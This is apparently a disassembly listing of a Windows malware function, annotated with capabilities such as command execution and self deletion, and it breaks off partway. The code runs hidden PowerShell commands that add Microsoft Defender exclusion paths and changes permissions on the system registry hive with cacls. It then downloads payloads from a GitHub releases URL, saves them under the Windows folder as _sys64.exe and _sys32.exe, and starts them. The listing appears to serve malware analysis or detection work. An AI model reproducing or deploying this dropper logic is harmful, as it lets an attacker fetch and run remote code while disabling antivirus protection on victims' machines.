Function at 0x1400011c0
Capabilities:
Execute command
Get common file path
Self delete
Set current directory

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x2c8]
sub rsp, 0x3a0
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
movaps xmmword [rax - 0x68], xmm9
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x250], rax
xor ebx, ebx
lea rcx, [0x1400053f0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x140]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x20], rbx
mov qword [rbp - 0x18], rbx
lea rax, [rbp + 0x140]
mov r12, 0xffffffffffffffff
mov r8, r12
nop word [rax + rax]
inc r8
cmp byte [rax + r8], bl
jne 0x140001250
lea rdx, [rbp + 0x140]
lea rcx, [rbp - 0x30]
call fcn.140002c10
nop
lea rbx, [rbp - 0x30]
mov rsi, qword [rbp - 0x30]
mov r14, qword [rbp - 0x18]
cmp r14, 0xf
cmova rbx, rsi
mov rdi, qword [rbp - 0x20]
test rdi, rdi
je 0x1400012f8
xor edx, edx
mov r8d, 0x100
lea rcx, [rbp + 0x40]
call sub.VCRUNTIME140.dll_memset
lea rcx, [0x1400053f4]
lea rdx, [0x1400053f6]
nop word [rax + rax]
movzx eax, byte [rcx]
mov byte [rbp + rax + 0x40], 1
inc rcx
cmp rcx, rdx
jne 0x1400012b0
lea rax, [rdi - 1]
mov r8, r12
cmp rax, r12
cmovb r8, rax
add r8, rbx
movzx eax, byte [r8]
cmp byte [rbp + rax + 0x40], 0
jne 0x1400012f3
nop dword [rax]
cmp r8, rbx
je 0x1400012f8
dec r8
movzx eax, byte [r8]
cmp byte [rbp + rax + 0x40], 0
je 0x1400012e0
sub r8, rbx
jmp 0x1400012fb
mov r8, r12
cmp r8, 0xffffffffffffffff
je 0x14000283c
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
cmp rdi, r8
cmovb r8, rdi
lea rdx, [rbp - 0x30]
cmp r14, 0xf
cmova rdx, rsi
lea rcx, [rsp + 0x50]
call fcn.140002c10
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x14000136e
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001369
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002822
call fcn.14000330c
movups xmm0, xmmword [rsp + 0x50]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [rsp + 0x60]
movups xmmword [rbp - 0x20], xmm1
lea rcx, [rbp - 0x30]
movq rdx, xmm0
psrldq xmm1, 8
movq rax, xmm1
cmp rax, 0xf
cmova rcx, rdx
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
xor edi, edi
mov dword [rbp - 0x50], edi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
xorps xmm0, xmm0
xorps xmm1, xmm1
lea r8d, [rdi + 0x2d]
lea rcx, [rsp + 0x50]
movups xmmword [rsp + 0x50], xmm0
movdqu xmmword [rsp + 0x60], xmm1
cmp dword [rbp - 0x50], edi
je 0x14000143a
lea rdx, str.cacls.exe__C:WindowsSysWOW64config_system_
call fcn.140002c10
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rcx, qword [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x14000149d
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001498
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001498
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
lea rdx, str.cacls.exe__C:Windows_system32config_system_
call fcn.140002c10
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rcx, qword [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x14000149d
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001498
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001498
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000330c
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x48], xmm0
mov qword [rbp - 0x38], rax
movups xmmword [rbp + 0x40], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x50], xmm1
lea r8d, [rax + 3]
lea rdx, [0x140005480]
lea rcx, [rbp + 0x40]
call fcn.140002c10
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x70], xmm1
mov r8d, 0xe
lea rdx, str.C:ProgramData
lea rcx, [rbp + 0x60]
call fcn.140002c10
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x80], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x90], xmm1
mov r8d, 0x18
lea rdx, str.C:ProgramDataMicrosoft
lea rcx, [rbp + 0x80]
call fcn.140002c10
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xa0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0xb0], xmm1
mov r8d, 0x20
lea rdx, str.C:ProgramDataMicrosoftWindows
lea rcx, [rbp + 0xa0]
call fcn.140002c10
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xc0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0xd0], xmm1
mov r8d, 0x2b
lea rdx, str.C:ProgramDataMicrosoftWindowsStart_Menu
lea rcx, [rbp + 0xc0]
call fcn.140002c10
nop
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x48], xmm0
mov qword [rbp - 0x38], rdi
mov ecx, 0xa0
call fcn.140003200
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x40], rax
lea rcx, [rax + 0xa0]
mov qword [rbp - 0x38], rcx
lea rcx, [rbp - 0x48]
mov qword [rbp - 0x60], rcx
lea r9, [rbp - 0x48]
mov r8, rax
lea rdx, [rbp + 0xe0]
lea rcx, [rbp + 0x40]
call fcn.140003010
mov qword [rbp - 0x40], rax
lea r9, [0x1400029a0]
mov edx, 0x20
lea r8d, [rdx - 0x1b]
lea rcx, [rbp + 0x40]
call fcn.14000323c
mov rsi, qword [rbp - 0x48]
mov rax, qword [rbp - 0x40]
mov qword [rbp - 0x70], rax
movabs rcx, 0x7fffffffffffffff
movabs rdx, 0x8000000000000000
mov r8d, 0x16
cmp rsi, rax
je 0x140001888
mov r15, qword [rsi + 0x10]
mov rax, rcx
sub rax, r15
cmp rax, 0x4a
jb 0x140002918
mov r13, rsi
cmp qword [rsi + 0x18], 0xf
jbe 0x140001633
mov r13, qword [rsi]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], rdi
lea r14, [r15 + 0x4a]
mov ebx, 0xf
lea rdi, [rsp + 0x30]
cmp r14, rbx
jbe 0x1400016c4
mov rbx, r14
or rbx, 0xf
cmp rbx, rcx
jbe 0x14000166d
mov rbx, rcx
lea rax, [rdx + 0x27]
jmp 0x14000168f
cmp rbx, 0x16
cmovb rbx, r8
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1400016ae
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140002912
mov rcx, rax
call fcn.140003200
test rax, rax
je 0x140001881
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400016bf
test rcx, rcx
je 0x1400016bd
call fcn.140003200
mov rdi, rax
jmp 0x1400016bf
xor edi, edi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], rbx
movaps xmm0, xmmword [str.powershell__windowstyle_hidden__command__Add_MpPreference__ExclusionPath_]
movups xmmword [rdi], xmm0
movaps xmm1, xmmword [0x140005520]
movups xmmword [rdi + 0x10], xmm1
movaps xmm0, xmmword [0x140005530]
movups xmmword [rdi + 0x20], xmm0
movaps xmm1, xmmword [0x140005540]
movups xmmword [rdi + 0x30], xmm1
movsd xmm0, qword [0x140005550]
movsd qword [rdi + 0x40], xmm0
movzx eax, word [0x140005558]
mov word [rdi + 0x48], ax
lea rcx, [rdi + 0x4a]
mov r8, r15
mov rdx, r13
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + r14], 0
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov rax, rdx
sub rax, rcx
cmp rax, 2
jb 0x140001765
lea rax, [rcx + 2]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x30]
cmp rdx, 0xf
cmova rax, qword [rsp + 0x30]
mov word [rax + rcx], 0x2227
mov byte [rax + rcx + 2], 0
lea rax, [rsp + 0x30]
jmp 0x140001784
mov qword [rsp + 0x20], 2
lea r9, [0x14000550c]
mov edx, 2
lea rcx, [rsp + 0x30]
call fcn.140002da0
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
xor edi, edi
mov qword [rbp - 0x80], rdi
mov qword [rbp - 0x78], rdi
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x80], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], dil
lea rcx, [rsp + 0x70]
cmp qword [rbp - 0x78], 0xf
cmova rcx, qword [rsp + 0x70]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x140001807
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001802
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000187a
call fcn.14000330c
mov qword [rbp - 0x80], rdi
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], dil
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140001851
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000184c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001881
call fcn.14000330c
add rsi, 0x20
cmp rsi, qword [rbp - 0x70]
je 0x140001888
movabs rcx, 0x7fffffffffffffff
movabs rdx, 0x8000000000000000
mov r8d, 0x16
jmp 0x140001612
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov qword [rbp - 0x58], rdi
lea r8, str.windir
lea rdx, [rbp + 0x30]
lea rcx, [rbp - 0x58]
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll__dupenv_s]
test eax, eax
jne 0x1400027b4
mov rdx, qword [rbp - 0x58]
test rdx, rdx
je 0x1400027b4
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
mov r8, r12
nop word [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x1400018d0
lea rcx, [rsp + 0x30]
call fcn.140002c10
nop
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov rax, rdx
sub rax, rcx
cmp rax, 0xa
jb 0x140001936
lea rax, [rcx + 0xa]
mov qword [rsp + 0x40], rax
lea rbx, [rsp + 0x30]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x30]
add rbx, rcx
mov r8d, 0xa
lea rdx, str._sys64.exe
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0xa], 0
lea rax, [rsp + 0x30]
jmp 0x140001955
mov qword [rsp + 0x20], 0xa
lea r9, str._sys64.exe
mov edx, 0xa
lea rcx, [rsp + 0x30]
call fcn.140002da0
movups xmm8, xmmword [rax]
movups xmmword [rbp - 0x10], xmm8
movups xmm6, xmmword [rax + 0x10]
movups xmmword [rbp], xmm6
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x1400019b5
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400019b0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400019b0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000330c
movdqa xmm0, xmmword [0x1400056f0]
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x30], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x80], xmm1
mov rdx, qword [rbp - 0x58]
nop dword [rax]
inc r12
cmp byte [rdx + r12], 0
jne 0x1400019e0
mov r8, r12
lea rcx, [rsp + 0x70]
call fcn.140002c10
nop
mov rcx, qword [rbp - 0x80]
mov rdx, qword [rbp - 0x78]
mov rax, rdx
sub rax, rcx
cmp rax, 0xa
jb 0x140001a46
lea rax, [rcx + 0xa]
mov qword [rbp - 0x80], rax
lea rbx, [rsp + 0x70]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x70]
add rbx, rcx
mov r8d, 0xa
lea rdx, str._sys32.exe
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0xa], 0
lea rax, [rsp + 0x70]
jmp 0x140001a65
mov qword [rsp + 0x20], 0xa
lea r9, str._sys32.exe
mov edx, 0xa
lea rcx, [rsp + 0x70]
call fcn.140002da0
movups xmm9, xmmword [rax]
movups xmmword [rbp + 0x10], xmm9
movups xmm7, xmmword [rax + 0x10]
movups xmmword [rbp + 0x20], xmm7
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x140001ac4
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001abf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001abf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000330c
movdqa xmm0, xmmword [0x1400056f0]
movdqu xmmword [rbp - 0x80], xmm0
mov byte [rsp + 0x70], 0
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
movq r15, xmm6
mov qword [rbp - 0x60], r15
sub rax, r15
cmp rax, 0x87
jb 0x14000291e
lea r14, [rbp - 0x10]
movq r12, xmm8
mov qword [rbp - 0x70], r12
psrldq xmm6, 8
movq r13, xmm6
mov qword [rbp - 0x68], r13
cmp r13, 0xf
cmova r14, r12
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
lea rsi, [r15 + 0x87]
mov ebx, 0xf
lea rdi, [rsp + 0x30]
cmp rsi, rbx
jbe 0x140001bca
mov rbx, rsi
or rbx, 0xf
cmp rbx, rcx
jbe 0x140001b8b
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140003200
test rax, rax
je 0x140001d9a
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140001bc5
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140001bb4
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400028ee
jmp 0x140001b6c
test rcx, rcx
je 0x140001bc3
call fcn.140003200
mov rdi, rax
jmp 0x140001bc5
xor edi, edi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rbx
movaps xmm0, xmmword [str.powershell__windowstyle_hidden__command__Invoke_WebRequest_https:__github.com_xst4_patch1_releases_download_payloads_sys64__OutFile__]
movups xmmword [rdi], xmm0
movaps xmm1, xmmword [0x1400055d0]
movups xmmword [rdi + 0x10], xmm1
movaps xmm0, xmmword [0x1400055e0]
movups xmmword [rdi + 0x20], xmm0
movaps xmm1, xmmword [0x1400055f0]
movups xmmword [rdi + 0x30], xmm1
movaps xmm0, xmmword [0x140005600]
movups xmmword [rdi + 0x40], xmm0
movaps xmm1, xmmword [0x140005610]
movups xmmword [rdi + 0x50], xmm1
movaps xmm0, xmmword [0x140005620]
movups xmmword [rdi + 0x60], xmm0
movaps xmm1, xmmword [0x140005630]
movups xmmword [rdi + 0x70], xmm1
mov eax, dword [0x140005640]
mov dword [rdi + 0x80], eax
movzx eax, word [0x140005644]
mov word [rdi + 0x84], ax
movzx eax, byte [0x140005646]
mov byte [rdi + 0x86], al
lea rcx, [rdi + 0x87]
mov r8, r15
mov rdx, r14
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rsi], 0
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov rax, rdx
sub rax, rcx
cmp rax, 2
jb 0x140001ca8
lea rax, [rcx + 2]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x30]
cmp rdx, 0xf
cmova rax, qword [rsp + 0x30]
mov word [rax + rcx], 0x2222
mov byte [rax + rcx + 2], 0
lea rax, [rsp + 0x30]
jmp 0x140001cc7
mov qword [rsp + 0x20], 2
lea r9, [0x1400055b4]
mov edx, 2
lea rcx, [rsp + 0x30]
call fcn.140002da0
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rcx, qword [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x140001d53
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001d4e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001d4e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000330c
movdqa xmm0, xmmword [0x1400056f0]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140001da6
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001da1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001da1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000330c
lea r14, [rbp - 0x10]
cmp r13, 0xf
cmova r14, r12
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
lea rsi, [r15 + 6]
mov ebx, 0xf
lea rdi, [rsp + 0x50]
cmp rsi, rbx
jbe 0x140001e5f
mov rbx, rsi
or rbx, 0xf
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
jbe 0x140001e20
mov rbx, rax
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140003200
test rax, rax
je 0x140001eda
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140001e5a
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140001e49
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400028f4
jmp 0x140001e01
test rcx, rcx
je 0x140001e58
call fcn.140003200
mov rdi, rax
jmp 0x140001e5a
xor edi, edi
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x68], rbx
mov eax, dword [str.start]
mov dword [rdi], eax
movzx eax, word [0x14000564c]
mov word [rdi + 4], ax
lea rcx, [rdi + 6]
mov r8, r15
mov rdx, r14
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rsi], 0
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rcx, qword [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x140001ee6
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001ee1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001ee1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000330c
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
movq r13, xmm7
sub rax, r13
cmp rax, 0x8d
jb 0x1400028e8
lea r14, [rbp + 0x10]
movq r15, xmm9
psrldq xmm7, 8
movq r12, xmm7
mov qword [rbp - 0x50], r12
cmp r12, 0xf
cmova r14, r15
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
lea rsi, [r13 + 0x8d]
mov ebx, 0xf
lea rdi, [rsp + 0x30]
cmp rsi, rbx
jbe 0x140001fc8
mov rbx, rsi
or rbx, 0xf
cmp rbx, rcx
jbe 0x140001f89
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140003200
test rax, rax
je 0x14000219a
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140001fc3
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140001fb2
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400028fa
jmp 0x140001f6a
test rcx, rcx
je 0x140001fc1
call fcn.140003200
mov rdi, rax
jmp 0x140001fc3
xor edi, edi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rbx
movaps xmm0, xmmword [str.powershell__windowstyle_hidden__command__Invoke_WebRequest_https:__github.com_xst4_patch1_releases_download_payloads_winhlp32.ex__OutFile__]
movups xmmword [rdi], xmm0
movaps xmm1, xmmword [0x140005660]
movups xmmword [rdi + 0x10], xmm1
movaps xmm0, xmmword [0x140005670]
movups xmmword [rdi + 0x20], xmm0
movaps xmm1, xmmword [0x140005680]
movups xmmword [rdi + 0x30], xmm1
movaps xmm0, xmmword [0x140005690]
movups xmmword [rdi + 0x40], xmm0
movaps xmm1, xmmword [0x1400056a0]
movups xmmword [rdi + 0x50], xmm1
movaps xmm0, xmmword [0x1400056b0]
movups xmmword [rdi + 0x60], xmm0
movaps xmm1, xmmword [0x1400056c0]
movups xmmword [rdi + 0x70], xmm1
movsd xmm0, qword [0x1400056d0]
movsd qword [rdi + 0x80], xmm0
mov eax, dword [0x1400056d8]
mov dword [rdi + 0x88], eax
movzx eax, byte [0x1400056dc]
mov byte [rdi + 0x8c], al
lea rcx, [rdi + 0x8d]
mov r8, r13
mov rdx, r14
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rsi], 0
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov rax, rdx
sub rax, rcx
cmp rax, 2
jb 0x1400020a8
lea rax, [rcx + 2]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x30]
cmp rdx, 0xf
cmova rax, qword [rsp + 0x30]
mov word [rax + rcx], 0x2222
mov byte [rax + rcx + 2], 0
lea rax, [rsp + 0x30]
jmp 0x1400020c7
mov qword [rsp + 0x20], 2
lea r9, [0x1400055b4]
mov edx, 2
lea rcx, [rsp + 0x30]
call fcn.140002da0
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rcx, qword [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x140002153
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000214e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000214e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000330c
movdqa xmm0, xmmword [0x1400056f0]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x1400021a6
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400021a1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400021a1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000330c
lea r14, [rbp + 0x10]
cmp r12, 0xf
cmova r14, r15
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
lea rsi, [r13 + 6]
mov ebx, 0xf
lea rdi, [rsp + 0x50]
cmp rsi, rbx
jbe 0x14000225f
mov rbx, rsi
or rbx, 0xf
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
jbe 0x140002220
mov rbx, rax
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140003200
test rax, rax
je 0x1400022da
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14000225a
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140002249
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140002900
jmp 0x140002201
test rcx, rcx
je 0x140002258
call fcn.140003200
mov rdi, rax
jmp 0x14000225a
xor edi, edi
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x68], rbx
mov eax, dword [str.start]
mov dword [rdi], eax
movzx eax, word [0x14000564c]
mov word [rdi + 4], ax
lea rcx, [rdi + 6]
mov r8, r13
mov rdx, r14
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rsi], 0
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rcx, qword [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x1400022e6
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400022e1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400022e1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000330c
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r14, [rbp - 0x10]
cmp qword [rbp - 0x68], 0xf
